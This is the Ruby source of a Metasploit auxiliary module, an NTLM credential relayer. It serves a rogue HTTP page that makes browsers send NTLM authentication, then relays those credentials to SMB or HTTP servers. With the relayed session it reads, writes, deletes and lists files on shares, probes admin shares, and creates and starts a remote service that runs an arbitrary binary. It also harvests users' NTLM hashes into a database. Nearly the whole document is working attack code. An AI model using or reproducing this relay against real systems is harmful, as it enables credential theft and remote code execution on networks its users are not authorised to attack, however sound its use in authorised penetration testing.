682 lines
22 KiB
Ruby
682 lines
22 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex/proto/ntlm/constants'
|
|
require 'rex/proto/ntlm/message'
|
|
require 'rex/proto/ntlm/crypt'
|
|
require 'rex/exceptions'
|
|
|
|
|
|
NTLM_CONST = Rex::Proto::NTLM::Constants
|
|
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
|
|
MESSAGE = Rex::Proto::NTLM::Message
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
include Msf::Auxiliary::Report
|
|
|
|
# Aliases for common classes
|
|
XCEPT = Rex::Proto::SMB::Exceptions
|
|
CONST = Rex::Proto::SMB::Constants
|
|
NDR = Rex::Encoder::NDR
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'HTTP Client MS Credential Relayer',
|
|
'Description' => %q{
|
|
This module relays negotiated NTLM Credentials from an HTTP server to multiple
|
|
protocols. Currently, this module supports relaying to SMB and HTTP.
|
|
|
|
Complicated custom attacks requiring multiple requests that depend on each
|
|
other can be written using the SYNC* options. For example, a CSRF-style
|
|
attack might first set an HTTP_GET request with a unique SNYNCID and set
|
|
an HTTP_POST request with a SYNCFILE, which contains logic to look
|
|
through the database and parse out important values, such as the CSRF token
|
|
or authentication cookies, setting these as configuration options, and finally
|
|
create a web page with iframe elements pointing at the HTTP_GET and HTTP_POSTs.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Rich Lundeen <richard.lundeen[at]gmail.com>',
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Actions' =>
|
|
[
|
|
[ 'WebServer' ]
|
|
],
|
|
'PassiveActions' =>
|
|
[
|
|
'WebServer'
|
|
],
|
|
'DefaultAction' => 'WebServer'))
|
|
|
|
register_options([
|
|
OptBool.new('RSSL', [true, "SSL on the remote connection ", false]),
|
|
OptEnum.new('RTYPE', [true, "Type of action to perform on remote target", "HTTP_GET",
|
|
[ "HTTP_GET", "HTTP_POST", "SMB_GET", "SMB_PUT", "SMB_RM", "SMB_ENUM",
|
|
"SMB_LS", "SMB_PWN" ]]),
|
|
OptString.new('RURIPATH', [true, "The path to relay credentials ", "/"]),
|
|
OptString.new('PUTDATA', [false, "This is the HTTP_POST or SMB_PUT data" ]),
|
|
OptPath.new('FILEPUTDATA', [false, "PUTDATA, but specified by a local file" ]),
|
|
OptPath.new('SYNCFILE', [false, "Local Ruby file to eval dynamically" ]),
|
|
OptString.new('SYNCID', [false, "ID to identify a request saved to db" ]),
|
|
|
|
], self.class)
|
|
|
|
register_advanced_options([
|
|
OptPath.new('RESPPAGE', [false,
|
|
'The file used for the server response. (Image extensions matter)', nil]),
|
|
OptPath.new('HTTP_HEADERFILE', [false,
|
|
'File specifying extra HTTP_* headers (cookies, multipart, etc.)', nil]),
|
|
OptString.new('SMB_SHARES', [false, 'The shares to check with SMB_ENUM',
|
|
'IPC$,ADMIN$,C$,D$,CCMLOGS$,ccmsetup$,share,netlogon,sysvol'])
|
|
], self.class)
|
|
|
|
deregister_options('DOMAIN', 'NTLM::SendLM', 'NTLM::SendSPN', 'NTLM::SendNTLM', 'NTLM::UseLMKey',
|
|
'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2')
|
|
end
|
|
|
|
# Handles the initial requests waiting for the browser to try NTLM auth
|
|
def on_request_uri(cli, request)
|
|
|
|
case request.method
|
|
when 'OPTIONS'
|
|
process_options(cli, request)
|
|
else
|
|
cli.keepalive = true;
|
|
|
|
# If the host has not started auth, send 401 authenticate with only the NTLM option
|
|
if(!request.headers['Authorization'])
|
|
response = create_response(401, "Unauthorized")
|
|
response.headers['WWW-Authenticate'] = "NTLM"
|
|
response.headers['Proxy-Support'] = 'Session-Based-Authentication'
|
|
|
|
response.body =
|
|
"<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE></HEAD></HTML>"
|
|
|
|
cli.send_response(response)
|
|
return false
|
|
end
|
|
method,hash = request.headers['Authorization'].split(/\s+/,2)
|
|
# If the method isn't NTLM something odd is goign on.
|
|
# Regardless, this won't get what we want, 404 them
|
|
if(method != "NTLM")
|
|
print_status("Unrecognized Authorization header, responding with 404")
|
|
send_not_found(cli)
|
|
return false
|
|
end
|
|
|
|
print_status("NTLM Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}")
|
|
|
|
if (datastore['SYNCFILE'] != nil)
|
|
sync_options()
|
|
end
|
|
|
|
handle_relay(cli,hash)
|
|
end
|
|
end
|
|
|
|
def run
|
|
parse_args()
|
|
exploit()
|
|
end
|
|
|
|
def process_options(cli, request)
|
|
print_status("OPTIONS #{request.uri}")
|
|
headers = {
|
|
'MS-Author-Via' => 'DAV',
|
|
'DASL' => '<DAV:sql>',
|
|
'DAV' => '1, 2',
|
|
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
|
|
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
|
|
'Cache-Control' => 'private'
|
|
}
|
|
resp = create_response(207, "Multi-Status")
|
|
headers.each_pair {|k,v| resp[k] = v }
|
|
resp.body = ""
|
|
resp['Content-Type'] = 'text/xml'
|
|
cli.send_response(resp)
|
|
end
|
|
|
|
#The call to handle_relay should be a victim HTTP type 1 request
|
|
def handle_relay(cli_sock, hash)
|
|
print_status("Beginning NTLM Relay...")
|
|
message = Rex::Text.decode_base64(hash)
|
|
#get type of message, which will be HTTP, SMB, ...
|
|
protocol = datastore['RTYPE'].split('_')[0]
|
|
if(message[8,1] != "\x03")
|
|
#Relay NTLMSSP_NETOTIATE from client to server (type 1)
|
|
case protocol
|
|
when 'HTTP'
|
|
resp, ser_sock = http_relay_toserver(hash)
|
|
if resp.headers["WWW-Authenticate"]
|
|
t2hash = resp.headers["WWW-Authenticate"].split(" ")[1]
|
|
else
|
|
print_error "#{rhost} is not requesting authentication."
|
|
cli_sock.close
|
|
ser_sock.close
|
|
return false
|
|
end
|
|
when 'SMB'
|
|
t2hash, ser_sock = smb_relay_toservert1(hash)
|
|
end
|
|
#goes along with above, resp is now just the hash
|
|
client_respheader = "NTLM " << t2hash
|
|
|
|
#Relay NTLMSSP_CHALLENGE from server to client (type 2)
|
|
response = create_response(401, "Unauthorized")
|
|
response.headers['WWW-Authenticate'] = client_respheader
|
|
response.headers['Proxy-Support'] = 'Session-Based-Authentication'
|
|
|
|
response.body =
|
|
"<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE></HEAD></HTML>"
|
|
|
|
cli_sock.send_response(response)
|
|
|
|
#Get the type 3 hash from the client and relay to the server
|
|
cli_type3Data = cli_sock.get_once(-1, 5)
|
|
begin
|
|
cli_type3Header = cli_type3Data.split(/\r\nAuthorization:\s+NTLM\s+/,2)[1]
|
|
cli_type3Hash = cli_type3Header.split(/\r\n/,2)[0]
|
|
rescue ::NoMethodError
|
|
print_error("Error: Type3 hash not relayed.")
|
|
cli_sock.close()
|
|
return false
|
|
end
|
|
case protocol
|
|
when 'HTTP'
|
|
resp, ser_sock = http_relay_toserver(cli_type3Hash, ser_sock)
|
|
when 'SMB'
|
|
ser_sock = smb_relay_toservert3(cli_type3Hash, ser_sock)
|
|
#perform authenticated action
|
|
action = datastore['RTYPE'].split('_')[1]
|
|
case action
|
|
when 'GET'
|
|
resp = smb_get(ser_sock)
|
|
when 'PUT'
|
|
resp = smb_put(ser_sock)
|
|
when 'RM'
|
|
resp = smb_rm(ser_sock)
|
|
when 'ENUM'
|
|
resp = smb_enum(ser_sock)
|
|
when 'LS'
|
|
resp = smb_ls(ser_sock)
|
|
when 'PWN'
|
|
resp = smb_pwn(ser_sock, cli_sock)
|
|
end
|
|
end
|
|
report_info(resp, cli_type3Hash)
|
|
|
|
#close the client socket
|
|
response = set_cli_200resp()
|
|
cli_sock.send_response(response)
|
|
cli_sock.close()
|
|
if protocol == 'HTTP'
|
|
ser_sock.close()
|
|
end
|
|
return
|
|
else
|
|
print_error("Error: Bad NTLM sent from victim browser")
|
|
cli_sock.close()
|
|
return false
|
|
end
|
|
end
|
|
|
|
def parse_args()
|
|
# Consolidate the PUTDATA and FILEPUTDATA options into FINALPUTDATA
|
|
if datastore['PUTDATA'] != nil and datastore['FILEPUTDATA'] != nil
|
|
print_error("PUTDATA and FILEPUTDATA cannot both contain data")
|
|
raise ArgumentError
|
|
elsif datastore['PUTDATA'] != nil
|
|
@finalputdata = datastore['PUTDATA']
|
|
elsif datastore['FILEPUTDATA'] != nil
|
|
f = File.open(datastore['FILEPUTDATA'], "rb")
|
|
@finalputdata = f.read
|
|
f.close
|
|
end
|
|
|
|
if (not framework.db.active) and (not datastore['VERBOSE'])
|
|
print_error("No database configured and verbose disabled, info may be lost. Continuing")
|
|
end
|
|
end
|
|
|
|
# sync_options dynamically changes the arguments of a running attack
|
|
# this is useful for multi staged relay attacks
|
|
# ideally I would use a resource file but it's not easily exposed, and this is simpler
|
|
def sync_options()
|
|
print_status("Dynamically eval()'ing local ruby file: #{datastore['SYNCFILE']}")
|
|
# previous request might create the file, so error thrown at runtime
|
|
if not ::File.readable?(datastore['SYNCFILE'])
|
|
print_error("SYNCFILE unreadable, aborting")
|
|
raise ArgumentError
|
|
end
|
|
data = ::File.read(datastore['SYNCFILE'])
|
|
eval(data) # WARNING: This can be insanely insecure!
|
|
end
|
|
|
|
# relay creds to server and perform any HTTP specific attacks
|
|
def http_relay_toserver(hash, ser_sock = nil)
|
|
timeout = 20
|
|
type3 = (ser_sock == nil ? false : true)
|
|
|
|
method = datastore['RTYPE'].split('_')[1]
|
|
theaders = ('Authorization: NTLM ' << hash << "\r\n" <<
|
|
"Connection: Keep-Alive\r\n" )
|
|
|
|
# HTTP_HEADERFILE is how this module supports cookies, multipart forms, etc
|
|
if datastore['HTTP_HEADERFILE'] != nil
|
|
print_status("Including extra headers from: #{datastore['HTTP_HEADERFILE']}")
|
|
#previous request might create the file, so error thrown at runtime
|
|
if not ::File.readable?(datastore['HTTP_HEADERFILE'])
|
|
print_error("HTTP_HEADERFILE unreadable, aborting")
|
|
raise ArgumentError
|
|
end
|
|
#read file line by line to deal with any dos/unix ending ambiguity
|
|
File.readlines(datastore['HTTP_HEADERFILE']).each do|header|
|
|
next if header.strip == ''
|
|
theaders << (header) << "\r\n"
|
|
end
|
|
end
|
|
|
|
opts = {
|
|
'uri' => normalize_uri(datastore['RURIPATH']),
|
|
'method' => method,
|
|
'version' => '1.1',
|
|
}
|
|
if (@finalputdata != nil)
|
|
#we need to get rid of an extra "\r\n"
|
|
theaders = theaders[0..-3]
|
|
opts['data'] = @finalputdata << "\r\n\r\n"
|
|
end
|
|
opts['SSL'] = true if datastore["RSSL"]
|
|
opts['raw_headers'] = theaders
|
|
|
|
ser_sock = connect(opts) if !type3
|
|
|
|
r = ser_sock.request_raw(opts)
|
|
resp = ser_sock.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout, true)
|
|
|
|
# Type3 processing
|
|
if type3
|
|
#check if auth was successful
|
|
if resp.code == 401
|
|
print_error("Auth not successful, returned a 401")
|
|
else
|
|
print_status("Auth successful, saving server response in database")
|
|
end
|
|
vprint_status(resp)
|
|
end
|
|
return [resp, ser_sock]
|
|
end
|
|
|
|
#relay ntlm type1 message for SMB
|
|
def smb_relay_toservert1(hash)
|
|
rsock = Rex::Socket::Tcp.create(
|
|
'PeerHost' => datastore['RHOST'],
|
|
'PeerPort' => datastore['RPORT'],
|
|
'Timeout' => 3,
|
|
'Context' =>
|
|
{
|
|
'Msf' => framework,
|
|
'MsfExploit'=> self,
|
|
}
|
|
)
|
|
if (not rsock)
|
|
print_error("Could not connect to target host (#{target_host})")
|
|
return
|
|
end
|
|
ser_sock = Rex::Proto::SMB::SimpleClient.new(rsock, rport == 445 ? true : false)
|
|
|
|
if (datastore['RPORT'] == '139')
|
|
ser_sock.client.session_request()
|
|
end
|
|
|
|
blob = Rex::Proto::NTLM::Utils.make_ntlmssp_secblob_init('', '', 0x80201)
|
|
ser_sock.client.negotiate(true)
|
|
ser_sock.client.require_signing = false
|
|
resp = ser_sock.client.session_setup_with_ntlmssp_blob(blob, false)
|
|
resp = ser_sock.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
|
|
|
|
#Save the user_ID for future requests
|
|
ser_sock.client.auth_user_id = resp['Payload']['SMB'].v['UserID']
|
|
|
|
begin
|
|
#lazy ntlmsspblob extraction
|
|
ntlmsspblob = 'NTLMSSP' <<
|
|
(resp.to_s().split('NTLMSSP')[1].split("\x00\x00Win")[0]) <<
|
|
"\x00\x00"
|
|
rescue ::Exception => e
|
|
print_error("Type 2 response not read properly from server")
|
|
raise e
|
|
end
|
|
ntlmsspencodedblob = Rex::Text.encode_base64(ntlmsspblob)
|
|
return [ntlmsspencodedblob, ser_sock]
|
|
end
|
|
|
|
#relay ntlm type3 SMB message
|
|
def smb_relay_toservert3(hash, ser_sock)
|
|
#arg = get_hash_info(hash)
|
|
dhash = Rex::Text.decode_base64(hash)
|
|
|
|
#Create a GSS blob for ntlmssp type 3 message, encoding the passed hash
|
|
blob =
|
|
"\xa1" + Rex::Proto::NTLM::Utils.asn1encode(
|
|
"\x30" + Rex::Proto::NTLM::Utils.asn1encode(
|
|
"\xa2" + Rex::Proto::NTLM::Utils.asn1encode(
|
|
"\x04" + Rex::Proto::NTLM::Utils.asn1encode(
|
|
dhash
|
|
)
|
|
)
|
|
)
|
|
)
|
|
|
|
resp = ser_sock.client.session_setup_with_ntlmssp_blob(
|
|
blob,
|
|
false,
|
|
ser_sock.client.auth_user_id
|
|
)
|
|
resp = ser_sock.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
|
|
|
|
#check if auth was successful
|
|
if (resp['Payload']['SMB'].v['ErrorClass'] == 0)
|
|
print_status("SMB auth relay succeeded")
|
|
else
|
|
failure = Rex::Proto::SMB::Exceptions::ErrorCode.new
|
|
failure.word_count = resp['Payload']['SMB'].v['WordCount']
|
|
failure.command = resp['Payload']['SMB'].v['Command']
|
|
failure.error_code = resp['Payload']['SMB'].v['ErrorClass']
|
|
raise failure
|
|
end
|
|
return ser_sock
|
|
end
|
|
|
|
#gets a specified file from the drive
|
|
def smb_get(ser_sock)
|
|
share, path = datastore['RURIPATH'].split('\\', 2)
|
|
path = path
|
|
ser_sock.client.tree_connect(share)
|
|
ser_sock.client.open("\\" << path, 0x1)
|
|
resp = ser_sock.client.read()
|
|
print_status("Reading #{resp['Payload'].v['ByteCount']} bytes from #{datastore['RHOST']}")
|
|
vprint_status("----Contents----")
|
|
vprint_status(resp["Payload"].v["Payload"])
|
|
vprint_status("----End Contents----")
|
|
ser_sock.client.close()
|
|
return resp["Payload"].v["Payload"]
|
|
end
|
|
|
|
#puts a specified file
|
|
def smb_put(ser_sock)
|
|
share, path = datastore['RURIPATH'].split('\\', 2)
|
|
path = path
|
|
ser_sock.client.tree_connect(share)
|
|
|
|
fd = ser_sock.open("\\#{path}", 'rwct')
|
|
fd << @finalputdata
|
|
fd.close
|
|
|
|
logdata = "File \\\\#{datastore['RHOST']}\\#{datastore['RURIPATH']} written"
|
|
print_status(logdata)
|
|
return logdata
|
|
end
|
|
|
|
#deletes a file from a share
|
|
def smb_rm(ser_sock)
|
|
share, path = datastore['RURIPATH'].split('\\', 2)
|
|
path = path
|
|
ser_sock.client.tree_connect(share)
|
|
ser_sock.client.delete('\\' << path)
|
|
logdata = "File \\\\#{datastore['RHOST']}\\#{datastore['RURIPATH']} deleted"
|
|
print_status(logdata)
|
|
return logdata
|
|
end
|
|
|
|
#smb share enumerator, overly simplified, just tries connecting to configured shares
|
|
#This could be improved by using techniques from SMB_ENUMSHARES
|
|
def smb_enum(ser_sock)
|
|
shares = []
|
|
datastore["SMB_SHARES"].split(",").each do |share_name|
|
|
begin
|
|
ser_sock.client.tree_connect(share_name)
|
|
shares << share_name
|
|
rescue
|
|
next
|
|
end
|
|
end
|
|
print_status("Shares enumerated #{datastore["RHOST"]} #{shares.to_s()}")
|
|
return shares
|
|
end
|
|
|
|
#smb list directory
|
|
def smb_ls(ser_sock)
|
|
share, path = datastore['RURIPATH'].split('\\', 2)
|
|
ser_sock.client.tree_connect(share)
|
|
files = ser_sock.client.find_first(path << "\\*")
|
|
|
|
print_status(
|
|
"Listed #{files.length} files from #{datastore["RHOST"]}\\#{datastore["RURIPATH"]}"
|
|
)
|
|
|
|
if datastore["VERBOSE"]
|
|
files.each {|filename| print_status(" #{filename[0]}")}
|
|
end
|
|
return files
|
|
end
|
|
|
|
#start a service. This methos copies a lot of logic/code from psexec (and smb_relay)
|
|
def smb_pwn(ser_sock, cli_sock)
|
|
|
|
#filename is a little finicky, it needs to be in a format like
|
|
#"%SystemRoot%\\system32\\calc.exe" or "\\\\host\\c$\\WINDOWS\\system32\\calc.exe
|
|
filename = datastore['RURIPATH']
|
|
|
|
ser_sock.connect("IPC$")
|
|
opts = {
|
|
'Msf' => framework,
|
|
'MsfExploit' => self,
|
|
'smb_pipeio' => 'rw',
|
|
'smb_client' => ser_sock
|
|
}
|
|
uuidv = ['367abb81-9844-35f1-ad32-98f038001003', '2.0']
|
|
handle = Rex::Proto::DCERPC::Handle.new(uuidv, 'ncacn_np', cli_sock.peerhost, ["\\svcctl"])
|
|
dcerpc = Rex::Proto::DCERPC::Client.new(handle, ser_sock.socket, opts)
|
|
|
|
print_status("Obtraining a service manager handle...")
|
|
stubdata =
|
|
NDR.uwstring("\\\\#{datastore["RHOST"]}") +
|
|
NDR.long(0) +
|
|
NDR.long(0xF003F)
|
|
begin
|
|
response = dcerpc.call(0x0f, stubdata)
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
|
scm_handle = dcerpc.last_response.stub_data[0,20]
|
|
end
|
|
rescue ::Exception => e
|
|
print_error("Error: #{e}")
|
|
return
|
|
end
|
|
|
|
print_status("Creating a new service")
|
|
|
|
servicename = Rex::Text::rand_text_alpha(8)
|
|
displayname = Rex::Text::rand_text_alpha(rand(32)+1)
|
|
svc_handle = nil
|
|
|
|
stubdata =
|
|
scm_handle +
|
|
NDR.wstring(servicename) +
|
|
NDR.uwstring(displayname) +
|
|
NDR.long(0x0F01FF) + # Access: MAX
|
|
NDR.long(0x00000110) + # Type: Interactive, Own process
|
|
NDR.long(0x00000003) + # Start: Demand
|
|
NDR.long(0x00000000) + # Errors: Ignore
|
|
|
|
NDR.wstring(filename) + # Binary Path
|
|
NDR.long(0) + # LoadOrderGroup
|
|
NDR.long(0) + # Dependencies
|
|
NDR.long(0) + # Service Start
|
|
NDR.long(0) + # Password
|
|
NDR.long(0) + # Password
|
|
NDR.long(0) + # Password
|
|
NDR.long(0) # Password
|
|
|
|
begin
|
|
response = dcerpc.call(0x0c, stubdata)
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
|
svc_handle = dcerpc.last_response.stub_data[0,20]
|
|
#svc_status = dcerpc.last_response.stub_data[24,4]
|
|
end
|
|
rescue ::Exception => e
|
|
print_error("Error: #{e}")
|
|
return
|
|
end
|
|
|
|
print_status("Closing service handle...")
|
|
begin
|
|
response = dcerpc.call(0x0, svc_handle)
|
|
rescue ::Exception
|
|
end
|
|
|
|
print_status("Opening service...")
|
|
begin
|
|
stubdata =
|
|
scm_handle +
|
|
NDR.wstring(servicename) +
|
|
NDR.long(0xF01FF)
|
|
|
|
response = dcerpc.call(0x10, stubdata)
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
|
svc_handle = dcerpc.last_response.stub_data[0,20]
|
|
end
|
|
rescue ::Exception => e
|
|
print_error("Error: #{e}")
|
|
return
|
|
end
|
|
|
|
print_status("Starting the service...")
|
|
stubdata =
|
|
svc_handle +
|
|
NDR.long(0) +
|
|
NDR.long(0)
|
|
begin
|
|
response = dcerpc.call(0x13, stubdata)
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
|
end
|
|
rescue ::Exception => e
|
|
return
|
|
end
|
|
|
|
print_status("Removing the service...")
|
|
stubdata =
|
|
svc_handle
|
|
begin
|
|
response = dcerpc.call(0x02, stubdata)
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
|
end
|
|
rescue ::Exception => e
|
|
print_error("Error: #{e}")
|
|
end
|
|
|
|
print_status("Closing service handle...")
|
|
begin
|
|
response = dcerpc.call(0x0, svc_handle)
|
|
rescue ::Exception => e
|
|
print_error("Error: #{e}")
|
|
end
|
|
|
|
ser_sock.disconnect("IPC$")
|
|
end
|
|
|
|
#print status, and add to the info database
|
|
def report_info(resp, type3_hash)
|
|
data = get_hash_info(type3_hash)
|
|
|
|
#no need to generically always grab everything, but grab common config options
|
|
#and the response, some may be set to nil and that's fine
|
|
data[:protocol] = datastore['RTYPE']
|
|
data[:RHOST] = datastore['RHOST']
|
|
data[:RPORT] = datastore['RPORT']
|
|
data[:RURI] = datastore['RURIPATH']
|
|
data[:SYNCID] = datastore['SYNCID']
|
|
data[:Response] = resp
|
|
|
|
report_note(
|
|
:host => data[:ip],
|
|
:type => 'ntlm_relay',
|
|
:update => 'unique_data',
|
|
:data => data
|
|
)
|
|
end
|
|
|
|
#mostly taken from http_ntlm module handle_auth function
|
|
def get_hash_info(type3_hash)
|
|
#authorization string is base64 encoded message
|
|
domain,user,host,lm_hash,ntlm_hash = MESSAGE.process_type3_message(type3_hash)
|
|
nt_len = ntlm_hash.length
|
|
|
|
if nt_len == 48 #lmv1/ntlmv1 or ntlm2_session
|
|
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
|
|
:lm_hash => lm_hash,
|
|
:nt_hash => ntlm_hash
|
|
}
|
|
|
|
if arg[:lm_hash][16,32] == '0' * 32
|
|
arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE
|
|
end
|
|
#if the length of the ntlm response is not 24 then it will be bigger and represent
|
|
#a ntlmv2 response
|
|
elsif nt_len > 48 #lmv2/ntlmv2
|
|
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
|
|
:lm_hash => lm_hash[0, 32],
|
|
:lm_cli_challenge => lm_hash[32, 16],
|
|
:nt_hash => ntlm_hash[0, 32],
|
|
:nt_cli_challenge => ntlm_hash[32, nt_len - 32]
|
|
}
|
|
elsif nt_len == 0
|
|
print_status("Empty hash from #{host} captured, ignoring ... ")
|
|
else
|
|
print_status("Unknow hash type from #{host}, ignoring ...")
|
|
end
|
|
|
|
arg[:host] = host
|
|
arg[:user] = user
|
|
arg[:domain] = domain
|
|
|
|
return arg
|
|
end
|
|
|
|
#function allowing some basic/common configuration in responses
|
|
def set_cli_200resp()
|
|
response = create_response(200, "OK")
|
|
response.headers['Proxy-Support'] = 'Session-Based-Authentication'
|
|
|
|
if (datastore['RESPPAGE'] != nil)
|
|
begin
|
|
respfile = File.open(datastore['RESPPAGE'], "rb")
|
|
response.body = respfile.read
|
|
respfile.close
|
|
|
|
type = datastore['RESPPAGE'].split('.')[-1].downcase
|
|
#images can be especially useful (e.g. in email signatures)
|
|
case type
|
|
when 'png', 'gif', 'jpg', 'jpeg'
|
|
print_status('setting content type to image')
|
|
response.headers['Content-Type'] = "image/" << type
|
|
end
|
|
rescue
|
|
print_error("Problem processing respfile. Continuing...")
|
|
end
|
|
end
|
|
if (response.body.empty?)
|
|
response.body = "<HTML><HEAD><TITLE>My Page</TITLE></HEAD></HTML>"
|
|
end
|
|
return response
|
|
end
|
|
end
|